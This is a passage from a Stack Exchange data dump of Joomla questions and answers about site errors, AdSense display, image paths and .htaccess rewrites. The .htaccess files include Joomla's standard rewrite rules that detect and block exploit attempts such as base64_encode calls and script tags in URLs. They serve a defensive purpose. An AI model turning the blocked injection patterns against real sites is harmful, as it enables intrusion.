        -&amp;gt; Article for Episode 87-2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Desired List of Categories to be displayed:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PROGRAMS         PRODUCER         EPISODES&#xA;Program1         John Doe         3&#xA;Program2         John Doe         2&#xA;Program87        Mary Smith       2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="7692" LastEditDate="2016-02-01T06:49:26.610" LastActivityDate="2016-02-01T06:49:26.610" Title="Is it possible to display a list of category &quot;grand children&quot;?" Tags="|joomla-3.x|overrides|com-content|subcategories|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4344" PostTypeId="1" CreationDate="2014-09-05T19:51:24.877" Score="-2" ViewCount="6607" Body="&lt;p&gt;I have a new Joomla installation with this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1054 Unknown column 'extra_query' in 'field list' SQL=SELECT DISTINCT update_site_id, type, location, last_check_timestamp, extra_query FROM no3a2_update_sites WHERE enabled = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error is displayed when I want to open my template settings. The template is from RocketTheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do?&lt;/p&gt;&#xA;" OwnerUserId="1862" LastEditorUserId="1629" LastEditDate="2014-09-05T20:03:01.973" LastActivityDate="2019-12-05T11:07:50.947" Title="1054 Unknown column 'extra_query'" Tags="|joomla-3.x|sql|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4345" PostTypeId="2" ParentId="4344" CreationDate="2014-09-05T20:24:50.520" Score="4" Body="&lt;p&gt;You give very little information to give a good answer, but there are a couple of things you can try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure both Joomla and your template is up to date&lt;/li&gt;&#xA;&lt;li&gt;Re-upload your template if possible&lt;/li&gt;&#xA;&lt;li&gt;Fix your database by going to Extension manager -&gt; Database, and click the &lt;code&gt;Fix&lt;/code&gt; button in the upper left corner&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eNeDP.jpg&quot; alt=&quot;Fix Database&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-05T20:24:50.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4346" PostTypeId="1" CreationDate="2014-09-05T22:18:26.727" Score="1" ViewCount="562" Body="&lt;p&gt;I'm having a Joomla/ Server related issue, when I try to access a Module I get the error below. I've checked in my Apache error log, and seen the Apache error. My issue is that, it doesn't even let me know which file it can't find.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;An error has occurred.&#xA;&#xA;Joomla Error : 500 View not found [name, type, prefix]: default, html, roksprocketView &#xA;Apache Error : [client ::1] File does not exist: /Applications/MAMP/htdocs/templates, referer: http://localhost:8888/Joomla/final_GKFG/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I locate the file causing the error?&lt;/p&gt;&#xA;" OwnerUserId="1809" LastEditorUserId="1629" LastEditDate="2014-12-15T18:17:06.047" LastActivityDate="2014-12-15T18:17:06.047" Title="Apache error: &quot;File does not exist&quot; (Not telling me when which file)" Tags="|apache|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4347" PostTypeId="1" CreationDate="2014-09-05T23:27:38.627" Score="1" ViewCount="503" Body="&lt;p&gt;This is my site url: &lt;a href=&quot;http://www.livemedia24.com&quot; rel=&quot;nofollow&quot;&gt;livemedia24.com&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using AdsElite module for placing Adsense. But today few ads were not working. I tried mozilla, only two ads were showing, then tested chrome and it was displaying all three, then tested IE 0 ads. After few hours i tested again, so Mozilla displayed 3 ads, chrome 0, IE 0,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even disabled AdsElite module and placed Adsense code in Custom HTML Module. But problem is same. Some time ads are appearing and some time not on different browsers (Chrome, Firefox, IE)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla 3.3.3 and Ja Teline IV template. Cache is on, I even cleared cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but all ads are working on &lt;a href=&quot;http://www.livemedia24.com/index.php&quot; rel=&quot;nofollow&quot;&gt;http://www.livemedia24.com/index.php&lt;/a&gt; instead of &lt;a href=&quot;http://www.livemedia24.com&quot; rel=&quot;nofollow&quot;&gt;http://www.livemedia24.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="1520" LastEditDate="2014-09-06T13:19:05.370" LastActivityDate="2014-09-06T13:31:48.503" Title="Strange Issue - Adsense Appearing/Disappearing" Tags="|joomla-3.x|fix-my-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4348" PostTypeId="2" ParentId="4344" CreationDate="2014-09-06T08:04:38.797" Score="-2" Body="&lt;p&gt;The error is saying that your no3a2_update_sites table don't contain any column named extra_query which might be used some where in your template.You can either create that column in your database to temporarily avoid it or try reinstalling the template.&lt;/p&gt;&#xA;" OwnerUserId="1864" LastActivityDate="2014-09-06T08:04:38.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4349" PostTypeId="1" AcceptedAnswerId="4352" CreationDate="2014-09-06T08:11:30.623" Score="2" ViewCount="487" Body="&lt;p&gt;I'm looking for a template for Joomla 3 suitable for a website for technical documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to reconfigure this site: &lt;a href=&quot;http://help.logicaldoc.com&quot; rel=&quot;nofollow&quot;&gt;http://help.logicaldoc.com&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is a professional template, regardless of the cost, provided specifically for the display of technical documentation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw some document authoring software like Adobe RoboHelp or HelpSmith and the Web sites produced using these software are interesting, I'm looking for a template of that type&lt;/p&gt;&#xA;" OwnerUserId="1865" LastActivityDate="2019-03-28T15:16:33.687" Title="Joomla template for technical documentation website" Tags="|templates|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4350" PostTypeId="2" ParentId="4347" CreationDate="2014-09-06T10:03:34.543" Score="2" Body="&lt;p&gt;I know there can be many reasons why google adds are not showing in a website. You might want to check the Google Help for this:&lt;/p&gt;&#xA;&lt;p&gt;One common reason is that there are no adds that meet specific criteria so they can be displayed on a specific website and in a specific area/size in that website.&lt;/p&gt;&#xA;&lt;p&gt;Google call this: &lt;strong&gt;&lt;a href=&quot;https://support.google.com/dfp_premium/answer/1739296?hl=en#not_booked&quot; rel=&quot;nofollow noreferrer&quot;&gt;House Line Items not Booked&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;However make sure you have read all Google guidelines and instructions about placing google add in your website.&lt;/p&gt;&#xA;&lt;p&gt;The link below may be also of help:&lt;br /&gt;&#xA;&lt;strong&gt;&lt;a href=&quot;https://support.google.com/adsense/answer/1208336?hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Can't see my AdSense for content ads&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;I just remembered that I have addblock installed on my browsers that blocks adds from displaying. I revisited the website with the addblock disabled and I was able to see the adds in all pages, with no issue about the url.&lt;/p&gt;&#xA;&lt;p&gt;I tried with 3 browsers: Safari, Chrome, Firefox and I found no problem.&#xA;Make sure you have any such broswer extension disabled.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-09-06T13:31:48.503" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4351" PostTypeId="2" ParentId="4346" CreationDate="2014-09-06T13:24:19.700" Score="1" Body="&lt;p&gt;Since the error message is generated by Joomla, it's not an Apache error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla reports that the requested view was not found. When an Url request is received, it's routed to the right component (view), and the rest of the associated modules are shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's any misconfiguration in the generated Url, you get: Joomla Error : 500 View not found [name, type, prefix]: ....&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-09-06T13:24:19.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4352" PostTypeId="2" ParentId="4349" CreationDate="2014-09-06T14:52:38.057" Score="4" Body="&lt;p&gt;Rather than looking for a template &lt;code&gt;provided specifically for the display of technical documentation&lt;/code&gt;, (which I doubt you'll find), you should look for a template that has a look you like. Try seeing beyond the demo content that template providers usually add in order to show what the template is capable of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that the frontpage of these demo sites is usually loaded with modules and functions that you probably don't want (nor should) add to your site. Look at other pages to see how articles are rendered, or how the contact form is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best option is probably to look for business templates, they usually has a clean and professional look. Many template providers uses a tag system to make it easier to find a suitable template, here are a couple of links to the &lt;code&gt;Business&lt;/code&gt; tag (if available) of some popular template providers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Gavick Pro: &lt;a href=&quot;https://www.gavick.com/joomla-templates/tag,business.html&quot; rel=&quot;nofollow&quot;&gt;https://www.gavick.com/joomla-templates/tag,business.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;JoomlaBamboo: &lt;a href=&quot;http://www.joomlabamboo.com/joomla-templates/joomla-business-templates&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlabamboo.com/joomla-templates/joomla-business-templates&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Shape5: &lt;a href=&quot;http://www.shape5.com/product_details/club_templates/&quot; rel=&quot;nofollow&quot;&gt;http://www.shape5.com/product_details/club_templates/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;RocketTheme: &lt;a href=&quot;http://www.rockettheme.com/joomla/templates&quot; rel=&quot;nofollow&quot;&gt;http://www.rockettheme.com/joomla/templates&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;JoomlArt: &lt;a href=&quot;http://www.joomlart.com/joomla/templates/tag/business&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlart.com/joomla/templates/tag/business&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;YooTheme: &lt;a href=&quot;http://yootheme.com/demo/joomla&quot; rel=&quot;nofollow&quot;&gt;http://yootheme.com/demo/joomla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-06T14:52:38.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4353" PostTypeId="1" AcceptedAnswerId="4354" CreationDate="2014-09-06T15:44:54.480" Score="0" ViewCount="88" Body="&lt;p&gt;I can't for the life of me figure this one out. On a school site I built that's using Joomla 3.3/moodle/joomdle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, and only on SOME users, their user level is getting unchecked and they lose access to the content or even the site. I've also had several admin users lose access as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;has anyone ever seen this? School starts on Tuesday and we can't have students getting locked out of the site.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="159" LastEditDate="2014-09-06T18:41:22.750" LastActivityDate="2014-09-09T13:37:24.077" Title="Assigned User Group selections unchecking themselves" Tags="|joomla-3.x|user-groups|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4354" PostTypeId="2" ParentId="4353" CreationDate="2014-09-06T16:16:34.057" Score="2" Body="&lt;p&gt;Aha, Just updated Jomsocial to 3.2.1.4 and the change log says:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;ACL of user randomly changes when using groups.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We'll see if that fixed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.jomsocial.com/change-log/3214&quot; rel=&quot;nofollow&quot;&gt;http://www.jomsocial.com/change-log/3214&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Yes, updating to this version fixed the issue.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2014-09-09T13:37:24.077" LastActivityDate="2014-09-09T13:37:24.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4355" PostTypeId="2" ParentId="4346" CreationDate="2014-09-06T19:07:40.527" Score="2" Body="&lt;p&gt;You should probably look into the RokSprocket module. Make sure both Joomla and RokSprocket is up to date, and other extensions as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If everything is up to date, try reinstalling RokSprocket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.rockettheme.com/forum&quot; rel=&quot;nofollow&quot;&gt;RocketTheme forum&lt;/a&gt; might also be able to help&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-06T19:07:40.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4356" PostTypeId="1" AcceptedAnswerId="4360" CreationDate="2014-09-06T21:46:23.077" Score="3" ViewCount="2298" Body="&lt;p&gt;I have created a default Custom HTML module, and put few thumbnail images and added hyperlinks. And when i see preview it show broken image link on few menus and some time it work perfectly. I checked both image urls from front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Broken Image url: mysite.com/entertainment/images/geo_news.jpg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working image url: mysite.com/images/geo_news.jpg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my thumbnails are in /images/ directory &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just dont understand why on specific menu or browser it display broken link on few menu items? although it is working fine on other menus or on home page. I check backed and hyperlinks are fine. Even i cleared Joomla Cache but same problem.&lt;/p&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="159" LastEditDate="2014-09-07T06:17:34.013" LastActivityDate="2014-09-07T07:00:10.003" Title="Broken Image Link - Custom HTML module" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4357" PostTypeId="1" AcceptedAnswerId="4359" CreationDate="2014-09-06T22:25:20.767" Score="1" ViewCount="986" Body="&lt;p&gt;I am getting this error in my error_log file. Do I need to worry about it? Although, I am having broken image link problems and SEF problems on some pages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[06-Sep-2014 20:55:05 UTC] PHP Warning:  mysqli_close() [&amp;lt;a href='function.mysqli-close'&amp;gt;function.mysqli-close&amp;lt;/a&amp;gt;]: Couldn't fetch mysqli in /home2/mysite/public_html/libraries/joomla/database/driver/mysqli.php on line 210&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="5638" LastEditDate="2016-06-09T22:30:06.930" LastActivityDate="2016-06-09T22:30:06.930" Title="Database error, do i need to worry about it?" Tags="|joomla-3.x|php|mysql|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4358" PostTypeId="2" ParentId="4356" CreationDate="2014-09-06T22:50:40.807" Score="2" Body="&lt;p&gt;Check that you are linking correctly to your images in the custom module. Note the difference between absolute and relative paths:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Relative Path&lt;/strong&gt;&lt;br&gt;&#xA;Relative paths can only be used when linking to content on the same domain. When using a relative path, the browser will look for the resource &lt;em&gt;relative&lt;/em&gt; to the location of the link. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you add a &lt;code&gt;/&lt;/code&gt; before the relative path, it will start from the root folder of your domain.&lt;/li&gt;&#xA;&lt;li&gt;If you don't include &lt;code&gt;/&lt;/code&gt;, the path will be relative to your location. Usually this is the Joomla root directory. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Absolute Path&lt;/strong&gt;&lt;br&gt;&#xA;Absolute paths start with &lt;code&gt;http://&lt;/code&gt; and is the full path to your image. In your case it should be: &lt;code&gt;http://YOURSITE.com/images/geo_news.jpg&lt;/code&gt;. Test this URL in the browser bar, is should display your image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Absolute paths is the safest solution, as it doesn't depend on what folder you're linking &lt;em&gt;from&lt;/em&gt;, but you might get broken links if you change your domain name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you try both options and see what works best for your setup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;http://YOURSITE.com/images/geo_news.jpg&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;/images/geo_news.jpg&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-06T22:50:40.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4359" PostTypeId="2" ParentId="4357" CreationDate="2014-09-07T00:25:52.890" Score="1" Body="&lt;p&gt;Well, in Joomla 3.3+ line 210 is in the &lt;code&gt;disconnect()&lt;/code&gt; method the the &lt;code&gt;JDatabaseDriverMysqli&lt;/code&gt; class, it's literally the &lt;code&gt;msqli_close()&lt;/code&gt; call in the method shown below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Disconnects the database.&#xA; *&#xA; * @return  void&#xA; *&#xA; * @since   12.1&#xA; */&#xA;public function disconnect()&#xA;{&#xA;    // Close the connection.&#xA;    if ($this-&amp;gt;connection)&#xA;    {&#xA;        foreach ($this-&amp;gt;disconnectHandlers as $h)&#xA;        {&#xA;            call_user_func_array($h, array( &amp;amp;$this));&#xA;        }&#xA;&#xA;        mysqli_close($this-&amp;gt;connection);&#xA;    }&#xA;&#xA;    $this-&amp;gt;connection = null;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're only getting the error on this line it may not be an issue but it's likely you're getting the same error on other line numbers as well. This indicates that due to server resource issue (e.g. memory or processing timeouts/limitations) the PHP instance isn't getting a valid response from &lt;code&gt;msqli&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would ask your hosting provider to investigate.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-09-07T00:25:52.890" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4360" PostTypeId="2" ParentId="4356" CreationDate="2014-09-07T07:00:10.003" Score="2" Body="&lt;p&gt;I think my problem has been solved. Changed plugin order, and put System-SEF plugin before System-Cache. Broken image links are working now.&lt;/p&gt;&#xA;" OwnerUserId="1863" LastActivityDate="2014-09-07T07:00:10.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4361" PostTypeId="1" AcceptedAnswerId="4362" CreationDate="2014-09-07T10:42:34.360" Score="3" ViewCount="14295" Body="&lt;p&gt;Following is my .htaccess, SEF and Use rewriting enable in global config. But i can still access my home page with two urls; for instance: www.example.com and www.example.com/index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong? Can you please suggest how can i get rid from index.php cuz google has index two urls one: www.example.com 2nd: www.example.com/index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# @package      Joomla&#xA;# @copyright    Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved.&#xA;# @license      GNU General Public License version 2 or later; see LICENSE.txt&#xA;##&#xA;&#xA;##&#xA;# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;#&#xA;# The line just below this section: 'Options +FollowSymLinks' may cause problems&#xA;# with some server configurations.  It is required for use of mod_rewrite, but may already&#xA;# be set by your server administrator in a way that dissallows changing it in&#xA;# your .htaccess file.  If using it causes your server to error out, comment it out (add # to&#xA;# beginning of line), reload your site in your browser and test your sef url's.  If they work,&#xA;# it has been set by your server administrator and you do not need it set here.&#xA;##&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymLinks&#xA;&#xA;## Mod_rewrite in use.&#xA;&#xA;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} ^mysitename.com [NC]&#xA;RewriteRule (.*) http://www.mysitename.com/$1 [L,R=301]&#xA;#&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site block out the operations listed below&#xA;# This attempts to block the most common type of exploit `attempts` to Joomla!&#xA;#&#xA;# Block out any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block out any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block out any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block out any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root homepage&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&#xA;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;## End - Custom redirects&#xA;&#xA;##&#xA;# Uncomment following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;# RewriteBase /&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the request is for something within the component folder,&#xA;# or for the site root, or for an extensionless URL, or the&#xA;# requested URL ends with one of the listed extensions&#xA;RewriteCond %{REQUEST_URI} /component/|(/[^.]*|\.(php|html?|feed|pdf|vcf|raw))$ [NC]&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="126" LastEditDate="2015-05-30T23:36:11.117" LastActivityDate="2019-03-28T18:12:54.080" Title="Joomla remove index.php - redirect to homepage .htaccess" Tags="|joomla-3.x|.htaccess-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4362" PostTypeId="2" ParentId="4361" CreationDate="2014-09-07T13:05:04.830" Score="4" Body="&lt;p&gt;You can try something like below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Redirect index.php to Root&#xA;RewriteCond %{THE_REQUEST} !^POST&#xA;RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php\ HTTP/&#xA;RewriteCond %{SERVER_PORT}&amp;gt;s ^(443&amp;gt;(s)|[0-9]+&amp;gt;s)$&#xA;RewriteRule ^index\.php$ http%2://yoursite.com/ [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;Try with the below content for the .htaccess file. It contains also a few extra rules for enhanced security. Make sure you read all the lines, and make any adjustments where needed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Notes - Instructions:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a copy of your old htaccess file, rename it to htaccess-old.txt and keep it on your server.&lt;/li&gt;&#xA;&lt;li&gt;Paste the content from here to the active .htaccess file and save.&lt;/li&gt;&#xA;&lt;li&gt;If for any reason, you get 500 errors from your server - revert back to the old htaccess and report here.&lt;/li&gt;&#xA;&lt;li&gt;Just to make sure everyone is on the same page, for the htaccess file to be working, it needs to be renamed from the default htaccess.txt file in the joomla root, to .htaccess.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Also, you need to enable &lt;strong&gt;URL Rewriting&lt;/strong&gt; in &lt;strong&gt;Joomla Global Configuration&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# @package    Joomla&#xA;# @copyright  Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved.&#xA;# @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA;##&#xA;&#xA;##&#xA;# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;#&#xA;# The line just below this section: 'Options +FollowSymLinks' may cause problems&#xA;# with some server configurations.  It is required for use of mod_rewrite, but may already&#xA;# be set by your server administrator in a way that dissallows changing it in&#xA;# your .htaccess file.  If using it causes your server to error out, comment it out (add # to&#xA;# beginning of line), reload your site in your browser and test your sef url's.  If they work,&#xA;# it has been set by your server administrator and you do not need it set here.&#xA;##&#xA;&#xA;##### Begin - RewriteEngine enabled  &#xA;### 1. --- Can be commented out if causes errors, see notes above. ---&#xA;RewriteEngine On&#xA;##### End - RewriteEngine enabled&#xA;&#xA;##### Begin - RewriteBase set &#xA;### 1. ----------  MAKE SURE YOU HAVE ENABLED THE REWRITE SETTINGS IN GLOBAL CONFIGURATION IN JOOMLA ADMIN -------&#xA;### 2. ----------  IF YOUR SITE IS NOT AT THE ROOT, YOU NEED TO SPECIFY THE FOLDER E.G. RewriteBase /yourSiteRootFolder -------&#xA;&#xA;RewriteBase /&#xA;##### End - RewriteBase set &#xA;&#xA;&#xA;&#xA;##### Begin - File execution order &#xA;### 1. ----------THIS IS WILL MAKE SURE THAT INDEX.PHP IS LOADED FIRST THAN INDEX.HTML -------&#xA;DirectoryIndex index.php index.html&#xA;##### End - File execution order --&#xA;&#xA;##### Begin - Block directory listings&#xA;### 1. ----------This is an EXTRA SECURITY MEASURE to Disable Directory Listings-------&#xA;IndexIgnore *&#xA;Options -Indexes&#xA;##### End - No directory listings&#xA;&#xA;&#xA;##### Begin - Redirect index.php to root&#xA;### 1. ---------- MAKE SURE YOU ADD YOUR SITE URL AT THE REWRITE RULE -------&#xA;RewriteCond %{THE_REQUEST} !^POST&#xA;RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php\ HTTP/&#xA;RewriteCond %{SERVER_PORT}&amp;gt;s ^(443&amp;gt;(s)|[0-9]+&amp;gt;s)$&#xA;RewriteRule ^index\.php$ http%2://yoursite.com/ [R=301,L]&#xA;##### End - Redirect index.php to root&#xA;&#xA;&#xA;##### Begin - Redirect non-www to www&#xA;RewriteCond %{HTTP_HOST} !^www\. [NC]&#xA;RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;##### End - Redirect non-www to www&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site block out the operations listed below&#xA;# This attempts to block the most common type of exploit `attempts` to Joomla!&#xA;#&#xA;# Block out any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block out any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block out any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block out any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root homepage&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&#xA;&#xA;## Begin - Server Protection : Disallow access to htaccess.txt, php.ini and configuration.php-dist&#xA;### 1. --- Extra security measure, to prevent access to these essential files ---&#xA;RewriteRule ^(htaccess\.txt|configuration\.php-dist|php\.ini)$ - [F]&#xA;##### End - server protection&#xA;&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally 